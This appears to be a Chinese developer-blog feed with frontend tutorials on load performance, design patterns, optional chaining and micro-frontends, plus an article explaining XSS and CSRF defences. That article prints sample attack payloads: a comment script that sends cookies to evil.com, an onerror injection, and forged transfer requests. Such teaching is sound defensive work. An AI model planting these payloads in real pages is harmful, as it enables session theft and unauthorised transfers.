阅读视图

发现新文章,点击刷新页面。

你的首屏慢得像蜗牛?这6招让页面“秒开”

用户打开你的网站,3秒了还是一片白。他走了,去了隔壁。你丢了一个客户,就因为首屏慢了几秒。今天我们来给页面“提速”,6个实战技巧,从网络请求到渲染,让你的首屏加载快得像闪电。

前言

你有没有等过一个加载超过5秒的网页?那种感觉就像在机场等一艘船。用户耐心有限:3秒内没打开,一半人会走。今天我们不谈虚的理论,直接上代码、上配置、上工具,从源头把首屏时间砍掉一半以上。

一、首屏慢的三大元凶

  • 请求太多:几十个JS、CSS、图片,每个都要握手、传输。
  • 资源太大:未压缩的图片、没Tree Shaking的依赖。
  • 渲染阻塞:CSS和JS阻塞了HTML解析,白屏时间拉长。

对症下药,我们一个个击破。

二、第1招:SSR或预渲染,让首屏“有内容”

纯SPA(单页应用)的HTML几乎是空的,需要等JS下载执行后才渲染。用户看到白屏的时间很长。

解决方案

  • SSR(服务端渲染):用Next.js(React)或Nuxt(Vue),在服务器生成完整HTML,用户直接看到内容,然后JS“水合”绑定事件。
  • 静态生成(SSG):像Gatsby、Astro,构建时生成HTML,适合内容不频繁变化的页面。
  • 预渲染(Prerendering):用prerender-spa-plugin在构建时把几个关键路由生成静态HTML。

如果你不想上SSR,至少做到骨架屏——在JS执行前先显示灰色占位块,让用户觉得“快了快了”。

三、第2招:代码分割,别一次加载所有

你只访问首页,结果整个后台管理系统的代码都下载了。浪费流量,也浪费时间。

Webpack/Vite内置代码分割

  • 动态导入(import()):路由级别的懒加载。
// 路由懒加载
const UserPage = () => import('./pages/UserPage');
  • 分割第三方库:把reactlodash等抽成单独的vendor文件,利用缓存。
// vite.config.js
build: {
  rollupOptions: {
    output: {
      manualChunks: {
        vendor: ['react', 'react-dom'],
        ui: ['antd']
      }
    }
  }
}

四、第3招:压缩与优化资源

图片:首屏最大杀手

  • 换成WebP:比JPEG小30%左右。用<picture>标签提供fallback。
  • 懒加载:首屏之外的图片先不加载,滚动到再加载。
<img loading="lazy" src="..." alt="...">
  • 响应式图片:用srcset给不同屏幕尺寸加载不同大小的图片。

字体:FOIT(无样式文本闪烁)

  • font-display: swap先显示系统字体,等自定义字体加载完再替换。
  • 只加载需要的字符集(比如只加载英文和数字)。

JS/CSS压缩

  • Vite/Webpack生产模式默认开启压缩。但可以手动配置Terser去掉console
  • compression-webpack-plugin生成gzip或brotli文件,让服务器直接返回压缩版本。

五、第4招:优化关键渲染路径

浏览器先解析HTML,遇到<link><script>会阻塞渲染。

内联关键CSS

把首屏需要的CSS直接内联到<style>里,其余CSS异步加载。

<style>/* 首屏CSS */</style>
<link rel="preload" href="main.css" as="style" onload="this.onload=null;this.rel='stylesheet'">

给JS加defer或async

  • defer:并行下载,但按顺序执行,在DOMContentLoaded之前执行。
  • async:并行下载,下载完立刻执行,执行顺序不定。
<script defer src="app.js"></script>

对于首屏不需要的JS,可以延迟到页面空闲时加载。

// 空闲时加载
requestIdleCallback(() => import('./analytics.js'));

六、第5招:使用CDN和HTTP/2

  • CDN:把静态资源放到离用户最近的服务器,减少物理距离导致的延迟。
  • HTTP/2:多路复用,一个连接并发传输多个文件,比HTTP/1.1的6个连接限制强很多。

七、第6招:缓存策略,二次访问秒开

  • 强缓存Cache-Control: max-age=31536000(一年),适用于不变的资源(带hash的JS/CSS)。
  • 协商缓存ETag + Last-Modified,服务器确认资源没变化则返回304。
  • Service Worker:离线缓存,甚至可以做到“骨架屏秒现”。

八、实战:用Lighthouse跑分并优化

Chrome DevTools → Lighthouse,生成报告,它会告诉你哪些资源浪费了时间、哪些图片可以优化、哪些请求阻塞渲染。

常见优化建议:

  • 移除阻塞渲染的脚本。
  • 压缩图片。
  • 减少未使用的CSS(用purgecss移除没用的样式)。
  • 启用文本压缩(gzip)。

九、总结:首屏优化清单

  • 开启Gzip/Brotli压缩。
  • 图片转WebP、懒加载、响应式。
  • 路由懒加载 + 第三方库分割。
  • 关键CSS内联,非关键异步加载。
  • JS加defer/async。
  • 使用CDN + HTTP/2。
  • 配置强缓存和协商缓存。
  • 用Lighthouse反复测量。

优化完,你的页面首屏时间可以从3秒降到1秒以内。用户开心,老板也开心。


如果你觉得今天的提速课够实战,点个赞让更多人看到。明天我们继续性能优化第二弹——运行时优化,让你的页面滚动、动画、输入都不掉帧。我们明天见!

代码写成一锅粥?这5种设计模式让你的项目“起死回生”

你是不是见过这样的代码:一个文件几千行,一个函数做了十件事,改一个地方崩三个地方。今天我们不背理论,直接用5种前端最常用的设计模式,把你从“面条代码”里捞出来。学完你会发现:原来代码可以像乐高一样,哪里坏了换哪里。

前言

设计模式不是“高大上”的面试题,而是前辈们踩过无数坑后总结的“套路”。就像下棋有定式,写代码也有常见问题的标准解法。今天我们从实际场景出发,不讲23种全部,只挑前端最常用的5种:单例、观察者、工厂、策略、装饰器。看完你就能立刻用在项目里。

一、单例模式:全局只有一个的“独生子”

场景:全局弹窗、登录框、Store、线程池。你希望整个应用只有一个实例,反复创建会浪费资源或导致状态冲突。

不用的痛:每次调用都new Modal(),结果页面上出现十几个重叠的弹窗。

实现

class Singleton {
  constructor() {
    if (!Singleton.instance) {
      this.data = [];
      Singleton.instance = this;
    }
    return Singleton.instance;
  }
  add(item) {
    this.data.push(item);
  }
}
const a = new Singleton();
const b = new Singleton();
console.log(a === b); // true

前端更常见的写法:用闭包或模块(ES6模块本身就是单例)。

// modal.js
let instance;
export function getModal() {
  if (!instance) {
    instance = new Modal();
  }
  return instance;
}

现代替代:直接导出对象字面量(export default { show() {} }),ES6模块天然单例。

二、观察者模式:让不相干的组件“悄悄对话”

场景:购物车更新后,导航栏的数字要变、价格要重算、埋点要上报。你不想让购物车直接调用导航栏的方法(耦合太紧)。

不用的痛:购物车里写header.updateCartCount()sidebar.recalculate()analytics.track()…每加一个模块,购物车代码就要改一次。

实现

class EventBus {
  constructor() {
    this.events = {};
  }
  on(event, callback) {
    if (!this.events[event]) this.events[event] = [];
    this.events[event].push(callback);
  }
  emit(event, data) {
    if (this.events[event]) {
      this.events[event].forEach(cb => cb(data));
    }
  }
  off(event, callback) {
    if (this.events[event]) {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
  }
}
const bus = new EventBus();
// 购物车模块
bus.emit('cartUpdated', { count: 3 });
// 导航栏模块
bus.on('cartUpdated', (data) => updateCount(data.count));
// 埋点模块
bus.on('cartUpdated', (data) => track('cart', data));

观察者模式是前端最常用的模式之一。Vue的响应式原理、React的事件系统、Node.js的EventEmitter都是它的变体。

三、工厂模式:不用自己 new,让“工厂”替你造

场景:根据不同参数创建不同类型的对象,但创建逻辑复杂(比如需要条件判断、依赖注入)。你不想在业务代码里到处写newif-else

不用的痛:每个用到按钮的地方都要写一堆if (type === 'primary') return new PrimaryButton()…重复代码爆炸。

实现

class ButtonFactory {
  createButton(type) {
    switch(type) {
      case 'primary':
        return new PrimaryButton();
      case 'danger':
        return new DangerButton();
      default:
        return new DefaultButton();
    }
  }
}
const factory = new ButtonFactory();
const btn = factory.createButton('primary');

工厂模式把创建对象的逻辑集中管理,业务代码只依赖工厂接口。

更简单的函数工厂

function createUser(role) {
  const base = { createdAt: Date.now() };
  if (role === 'admin') {
    return { ...base, permissions: ['read', 'write', 'delete'] };
  }
  return { ...base, permissions: ['read'] };
}

四、策略模式:消灭“if-else 毒瘤”

场景:表单校验:用户名规则、密码规则、邮箱规则各不相同。或者根据用户等级计算折扣:普通会员9折,黄金会员8折,钻石会员7折。你不想写一长串if-else

不用的痛:一个函数里十几个if-else,加一个新策略要改原有代码,还容易引入bug。

实现

// 策略对象
const discountStrategies = {
  normal: (price) => price * 0.9,
  gold: (price) => price * 0.8,
  diamond: (price) => price * 0.7,
};
function getDiscount(level, price) {
  return discountStrategies[level]?.(price) ?? price;
}
// 使用时
const finalPrice = getDiscount('gold', 100); // 80

校验示例:

const validators = {
  required: (val) => val.trim() !== '',
  minLength: (val, len) => val.length >= len,
  email: (val) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(val)
};
function validate(value, rules) {
  for (let rule of rules) {
    const [name, param] = rule.split(':');
    if (!validators[name]?.(value, param)) return false;
  }
  return true;
}

策略模式把算法(策略)提取成独立对象,可以动态替换、复用。

五、装饰器模式:给代码“贴金”而不改源码

场景:给现有函数添加日志、性能监控、权限校验、缓存功能,但不修改函数本身。

不用的痛:在每个函数内部手动加console.time,加完又删,污染业务逻辑。

实现(JavaScript高阶函数版本,TS装饰器已在之前文章讲过):

function withLog(fn) {
  return function(...args) {
    console.log(`调用 ${fn.name} 参数:`, args);
    const result = fn.apply(this, args);
    console.log(`返回值:`, result);
    return result;
  };
}
function add(a, b) { return a + b; }
const loggedAdd = withLog(add);
loggedAdd(2, 3); // 输出日志,返回5

更通用的装饰器组合:

function withTimer(fn) {
  return function(...args) {
    const start = performance.now();
    const result = fn.apply(this, args);
    const end = performance.now();
    console.log(`${fn.name} 耗时 ${end - start}ms`);
    return result;
  };
}
// 组合多个装饰器
const enhanced = withLog(withTimer(add));

装饰器模式让你能“叠加”功能,保持单一职责。

六、实际项目中的组合运用

比如一个用户登录模块:

  • 单例模式:全局唯一的UserStore
  • 工厂模式:根据角色创建不同的用户实例(createUser('admin'))。
  • 观察者模式:登录成功后,触发userLoggedIn事件,购物车、头像组件、权限菜单分别响应。
  • 策略模式:不同等级用户的权限校验策略。
  • 装饰器模式:给API请求函数加上缓存、重试、日志。

七、总结:设计模式是“招式”,不是“教条”

  • 单例:全局唯一,省资源。
  • 观察者:解耦事件发布和订阅。
  • 工厂:集中创建对象。
  • 策略:消灭if-else,算法可互换。
  • 装饰器:动态增强功能。

不要为了用模式而用模式。当你的代码出现重复、难维护、改一处动全身时,想想哪种模式能帮你解耦。写代码就像搭积木,模式是那些标准接口的积木块,让你搭得又快又稳。


如果你觉得今天的“招式”够实用,点个赞让更多人看到。明天我们将聊聊前端架构设计——从技术选型到目录结构,如何搭建一个能支撑三年迭代的项目骨架。我们明天见!

可选链 `?.`——再也不用写一长串 `&&` 了!

引言

Cannot read property 'name' of undefined——又是这个错!我明明已经写了 if (user && user.profile && user.profile.name) 啊!”

同事凑过来看了一眼:“你只检查了 useruser.profile,但没检查 user.profile.name 本身?哦,其实 user.profile.name 不可能是 undefined 的……等等,如果 user.profile 是空对象呢?”

我陷入了沉思:难道我要写 user && user.profile && user.profile.name && user.profile.name.firstName?这代码长得像铁轨,谁看得懂啊!

直到有一天,我发现了可选链操作符 ?.。它就像一把瑞士军刀,轻轻一划,所有 undefined 的烦恼都烟消云散。

一、传统防守:&& 的“人肉护盾”

在过去,为了安全地访问深层嵌套的属性,我们不得不写这样的代码:

const firstName = user && user.profile && user.profile.name && user.profile.name.firstName;

如果中间任何一环是 nullundefined,整个表达式短路返回 undefined,不会报错。但这写法,读起来像在爬楼梯,每层都要确认一下。

更别提调用可能存在的方法:

const result = api && api.getData && api.getData();

万一 api.getData 不是函数?又得加判断。

二、可选链:.?. 的优雅空降

可选链操作符 ?. 允许你读取位于连接链深处的属性,而无需显式验证每一环是否有效。如果引用是 nullundefined,表达式短路返回 undefined

const firstName = user?.profile?.name?.firstName;

就这么简单!如果 userprofilename 任何一个不存在,整个表达式返回 undefined,而不是报错。

2.1 函数调用可选链

const result = api?.getData?.();

如果 apinull/undefined,或者 api.getData 不是函数,都返回 undefined,不会抛错。

2.2 数组元素可选链

const firstItem = arr?.[0];

如果 arr 不是数组或者是 null/undefined,返回 undefined

2.3 与空值合并搭配使用

const firstName = user?.profile?.name?.firstName ?? '匿名';

如果最终结果是 undefinednull,就换成默认值。完美!

三、实战对比:代码简洁度暴增

场景1:读取深层 API 响应

// 旧写法
const city = response && response.data && response.data.user && response.data.user.address && response.data.user.address.city;

// 新写法
const city = response?.data?.user?.address?.city;

场景2:调用可选回调

// 旧写法
if (onSuccess && typeof onSuccess === 'function') {
  onSuccess(data);
}

// 新写法
onSuccess?.(data);

场景3:动态属性名

const value = obj?.[key];

四、注意事项:别滥用

  • ?. 只检查左侧是否为 nullundefined,不检查 false0'' 等假值。如果你需要过滤假值,用 ||??
  • 不能用于赋值obj?.prop = value 是语法错误。
  • 短路效应:一旦遇到 null/undefined,右侧整个链停止求值,包括函数调用。
  • 性能:现代浏览器对 ?. 优化很好,放心用。

五、兼容性与降级

可选链是 ES2020 特性,现代浏览器都支持(Chrome 80+、Firefox 74+、Safari 13.1+)。如果需要兼容旧浏览器,可以用 Babel 插件 @babel/plugin-proposal-optional-chaining 转译。

六、总结:告别防御性编程噩梦

可选链操作符让 JavaScript 代码变得更加简洁、安全、可读。你不再需要写一长串 && 来保护每一层属性访问,也不用担心 Cannot read property of undefined 半夜叫醒你。

记住:?. 代替 && 链,用 ?? 提供默认值。这两个好基友,能让你的代码年轻十岁。


每日一问:你曾经因为忘记检查深层属性,导致过线上报错吗?或者写过最长的 && 链有多长?评论区晒出你的“防御塔”代码,让大家开开眼!

屎山代码拆不动?微前端来救场:一个应用变“乐高城堡”

前言

想象你有一座巨大的乐高城堡,一开始几个人拼得很开心。后来城堡越拼越大,几百人同时在上面加砖,有人碰倒了塔楼,有人改错了城墙,整个城堡摇摇欲坠。你想拆成几个独立的小城堡,又怕它们之间连不起来。

这就是巨石前端的困境。微前端就是解决方案:把大应用拆成多个小应用(子应用),每个小应用独立开发、独立部署,最后在浏览器里组合成一个完整页面。就像乐高套装里的每个小模块,可以单独拼好,再插到一起。

一、什么时候需要微前端?

  • 项目太大,编译部署一次要10分钟。
  • 团队太多,几十人改同一个仓库,Git冲突到崩溃。
  • 想渐进式升级技术栈(比如老项目用AngularJS,新模块用React)。
  • 不同团队负责不同业务板块,希望独立发布互不干扰。

如果你的项目只有三五个人,别用微前端——杀鸡不用牛刀。

二、微前端三大核心问题

微前端要解决三个问题:

  1. 怎么加载子应用?(路由分发)
  2. 怎么隔离子应用?(JS沙箱、样式隔离)
  3. 怎么通信?(全局状态、事件总线)

三、常见实现方式

1. 路由分发式(Nginx反向代理)

不同路径对应不同子应用,比如/app1 → 应用1,/app2 → 应用2。父页面通过iframe或服务端路由组合。

  • 简单,但切换应用会刷新页面。
  • 不适合需要无缝组合的场景。

2. iframe:最土的“隔离神器”

iframe天然隔离JS和CSS,但缺点明显:通信麻烦、SEO差、弹窗无法覆盖、全局状态不共享。

3. single-spa:微前端的“老大哥”

一个框架,帮你管理子应用的加载、挂载、卸载。你需要自己写如何加载子应用(比如动态script加载),以及子应用暴露的生命周期(bootstrap、mount、unmount)。

  • 灵活,但需要较多配置。
  • 适合自己造轮子。

4. qiankun:蚂蚁开箱即用的方案

基于single-spa,内置了JS沙箱、样式隔离、HTML Entry(自动加载子应用的HTML、JS、CSS)。你只需要改几行代码,就能把一个普通应用变成微前端子应用。

  • 推荐大部分项目用qiankun。
  • 支持Vue、React、Angular等。

5. Webpack 5 Module Federation:去中心化的“共享冰箱”

不需要主应用,任意两个应用可以互相暴露和使用模块。运行时动态加载对方代码,像从冰箱里拿菜一样。

  • 非常适合多个独立部署的微前端应用。
  • 需要Webpack 5支持。

四、qiankun 实战:三步把React应用变成子应用

假设你有一个主应用(基座),一个子应用(React)。

主应用(基座)注册子应用

import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'reactApp',
    entry: '//localhost:3001', // 子应用启动的地址
    container: '#subapp-container',
    activeRule: '/react',
  },
]);
start();

子应用(React)改造

src/index.js里暴露生命周期:

function render(props) {
  ReactDOM.render(<App />, document.getElementById('root'));
}

if (!window.__POWERED_BY_QIANKUN__) {
  render(); // 独立运行时直接渲染
}

export async function bootstrap() {}
export async function mount(props) {
  render(props);
}
export async function unmount() {
  ReactDOM.unmountComponentAtNode(document.getElementById('root'));
}

再改webpack配置,让打包成umd格式:

output: {
  library: `${name}-[name]`,
  libraryTarget: 'umd',
  globalObject: 'window',
}

搞定!子应用独立运行时正常访问,被qiankun加载时也能完美嵌入。

五、JS沙箱:防止子应用污染全局

qiankun提供了两种沙箱:

  • SnapshotSandbox:记录恢复window属性变化(兼容IE)。
  • ProxySandbox:用ES6 Proxy代理对window的读写,每个子应用有自己的fakeWindow。

这样子应用里修改windowdocument都不会影响全局。

六、样式隔离:你的样式别弄脏我的衣服

qiankun默认使用shadowDOM(需要子应用支持),也可以通过配置strictStyleIsolation开启。或者简单约定:子应用所有样式加namespace

七、应用间通信:传递“小纸条”

  • 通过props传递:主应用mount子应用时,可以传入通信函数。
  • 全局状态管理:用qiankuninitGlobalState
  • 自定义事件window.dispatchEvent(但注意沙箱可能隔离window)。

八、常见坑点与建议

  1. 重复依赖:多个子应用都打包了React,体积大。解决方案:用externals或Module Federation共享。
  2. 子应用间路由跳转:用history.pushState前判断是否在微前端环境,调用主应用的路由实例。
  3. 公共样式:主应用提供全局样式,子应用只写局部样式。
  4. 性能:预加载子应用,或使用loadable组件按需加载。

九、Module Federation:不用主应用的“分布式”微前端

如果你的项目没有明确的主应用,每个应用都可以暴露模块给其他应用,用Webpack 5的ModuleFederationPlugin

// 应用A暴露组件
new ModuleFederationPlugin({
  name: 'appA',
  filename: 'remoteEntry.js',
  exposes: {
    './Button': './src/Button',
  },
});

// 应用B消费
new ModuleFederationPlugin({
  name: 'appB',
  remotes: {
    appA: 'appA@http://localhost:3001/remoteEntry.js',
  },
});
// 在B里异步加载:import('appA/Button')

这样两个应用独立部署,运行时动态加载对方组件,超级灵活。

十、总结:微前端不是银弹,但能救急

  • 微前端适合超大项目、多团队、技术栈升级
  • 简单场景用qiankun,复杂场景用Module Federation
  • 注意JS沙箱、样式隔离、通信成本。
  • 如果项目只有几十个页面,别折腾,用组件化就够了。

微前端就像乐高积木:拆开是独立小玩具,拼起来是宏伟城堡。用得好,团队效率翻倍;用不好,调试到你怀疑人生。


如果你觉得今天的“乐高城堡”够形象,点个赞让更多人看到。明天我们将聊聊前端设计模式——单例、观察者、工厂、策略,那些让你代码更优雅的套路。我们明天见!

你的网站被“下毒”了?XSS和CSRF:前端安全的两大“毒瘤”

你有没有听说过:点了个链接,微博自动转发了奇怪的内容;登录了银行网站,钱莫名其妙被转走。今天我们就来揪出前端安全领域的两个“惯犯”——XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。它们一个像“投毒者”,一个像“冒充者”,专门偷你的数据、干你的坏事。

前言

想象一下,你开了个奶茶店。XSS就是有人在你店里的菜单上贴了一张纸:“凭此券免费喝奶茶”,然后顾客都来找你要免费奶茶。CSRF则是有人冒充你,对供应商说:“老板说再进1000箱珍珠!”结果你莫名其妙多了一仓库珍珠。

这两种攻击方式不同,但都杀伤力巨大。今天我们就来认识它们,然后学会怎么防。

一、XSS:跨站脚本攻击,你的网站被人“投毒”了

XSS(Cross-Site Scripting)的意思是:攻击者在你的网页里注入恶意脚本,当其他用户访问时,这个脚本就会在用户浏览器里执行,偷Cookie、发请求、改页面内容。

反射型XSS:恶意链接里的“定时炸弹”

攻击者把一个带恶意参数的链接发给你,你一点,网站把参数原样输出到页面上,脚本就执行了。

比如一个搜索页面:https://example.com/search?q=<script>alert('XSS')</script>。如果网站直接输出q参数的内容,就会弹出弹窗。

危害:偷Cookie、钓鱼、跳转恶意网站。

存储型XSS:留言板里的“慢性毒药”

更可怕的是存储型。攻击者在评论区、个人简介等地方写入恶意脚本,网站把它存进数据库。每个访问这个页面的用户,都会执行这个脚本。

比如你在博客评论区写<script>fetch('http://evil.com?cookie='+document.cookie)</script>,博主和所有读者看评论时,Cookie就被发送给攻击者了。

危害:持久化,感染所有访客。

DOM型XSS:不经过服务器的“内鬼”

这种XSS不经过服务器,完全由前端JS不安全地操作DOM导致。比如从URL参数取内容直接innerHTML

// 危险代码
const name = new URL(location.href).searchParams.get('name');
document.getElementById('welcome').innerHTML = `Hello ${name}`;

攻击者构造?name=<img src=x onerror=alert(1)>,脚本执行。

怎么防XSS?

  1. 永远不要信任用户输入。任何用户可控制的数据(URL参数、表单、请求头),输出到HTML前都要转义
// 简单转义函数
function escapeHtml(str) {
  return str.replace(/[&<>]/g, function(m) {
    if (m === '&') return '&amp;';
    if (m === '<') return '&lt;';
    if (m === '>') return '&gt;';
  });
}
  1. 使用安全的APItextContent代替innerHTMLsetAttribute代替拼接HTML。
// 安全
element.textContent = userInput;
// 危险
element.innerHTML = userInput;
  1. CSP(内容安全策略):通过HTTP头限制哪些脚本可以执行。比如禁止内联脚本、只允许白名单域名。
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
  1. 使用框架的自动转义:React、Vue等默认会转义输出,但要注意v-htmldangerouslySetInnerHTML等危险操作。

  2. HttpOnly Cookie:标记HttpOnly的Cookie无法被JS读取,即使有XSS也偷不走。但注意,这只能防偷Cookie,不能防其他恶意操作。

二、CSRF:跨站请求伪造,有人冒充你干坏事

CSRF(Cross-Site Request Forgery)的意思是:攻击者诱导你访问一个恶意网站,这个网站偷偷向你的目标网站(比如银行、微博)发起请求,由于你之前登录过,浏览器会自动带上Cookie,目标网站以为是你本人的操作。

一个典型的CSRF攻击

  1. 你登录了银行网站bank.com,浏览器存了Cookie。
  2. 你访问了恶意网站evil.com
  3. evil.com里有一张图片<img src="https://bank.com/transfer?to=attacker&amount=10000">
  4. 浏览器加载图片时,向bank.com发起请求,自动带上你的Cookie。
  5. 银行验证了Cookie,以为是你在转账,扣了你的钱。

危害:修改密码、发帖、转账、删数据……一切你权限内的操作。

怎么防CSRF?

  1. CSRF Token:服务器生成一个随机Token,存在表单的隐藏字段或请求头里。提交时校验Token,攻击者无法获取Token(因为跨域限制)。
<form>
  <input type="hidden" name="_csrf" value="随机字符串">
  ...
</form>
  1. SameSite Cookie:设置Cookie的SameSite属性为StrictLax,禁止第三方请求携带Cookie。
Set-Cookie: sessionId=abc123; SameSite=Strict
  • Strict:任何跨站请求都不带Cookie。
  • Lax:部分安全的跨站请求(如链接跳转)带Cookie,但POST表单不带。
  1. 验证Referer/Origin:服务器检查请求头中的RefererOrigin,确保来自你自己的域名。但Referer可能被篡改或缺失,不如Token可靠。

  2. 使用自定义请求头:比如X-Requested-With: XMLHttpRequest,因为跨域请求不能随意设置自定义头(需要CORS),可以作为一种简单校验(但也能被绕过,最好配合Token)。

  3. 敏感操作二次验证:修改密码、转账等操作,要求输入密码或短信验证码。

三、XSS和CSRF的“狼狈为奸”

更可怕的是,XSS和CSRF经常联手:先用XSS注入脚本,脚本里发起CSRF攻击。比如在留言板注入<script>fetch('/transfer?to=evil&amount=10000')</script>,每个看留言的人都成了受害者。

所以防御要层层设防:XSS防注入,CSRF防伪造。

四、实战:一个安全的评论显示组件

// 安全地渲染用户评论
function renderComment(comment) {
  const div = document.createElement('div');
  // 用textContent而不是innerHTML
  div.textContent = comment.text;
  // 如果要显示链接,需要单独处理
  return div;
}

对于后端,输出到HTML时也要转义:

<?php echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); ?>

五、总结:安全三字经

  • 防XSS:转义输出,CSP,HttpOnly。
  • 防CSRF:Token,SameSite,验证Referer。
  • 通用:不要信任用户输入,最小权限原则。

前端安全不是只有大厂才要考虑。你写的一个小博客、一个留言板,都可能被坏人利用。养成良好的安全习惯,比出事后再补窟窿强一百倍。


如果你觉得今天的“安全课”够警醒,点个赞让更多人看到。明天我们将聊聊前端监控与错误上报——怎么第一时间发现线上的Bug,而不是等用户骂你。我们明天见!

❌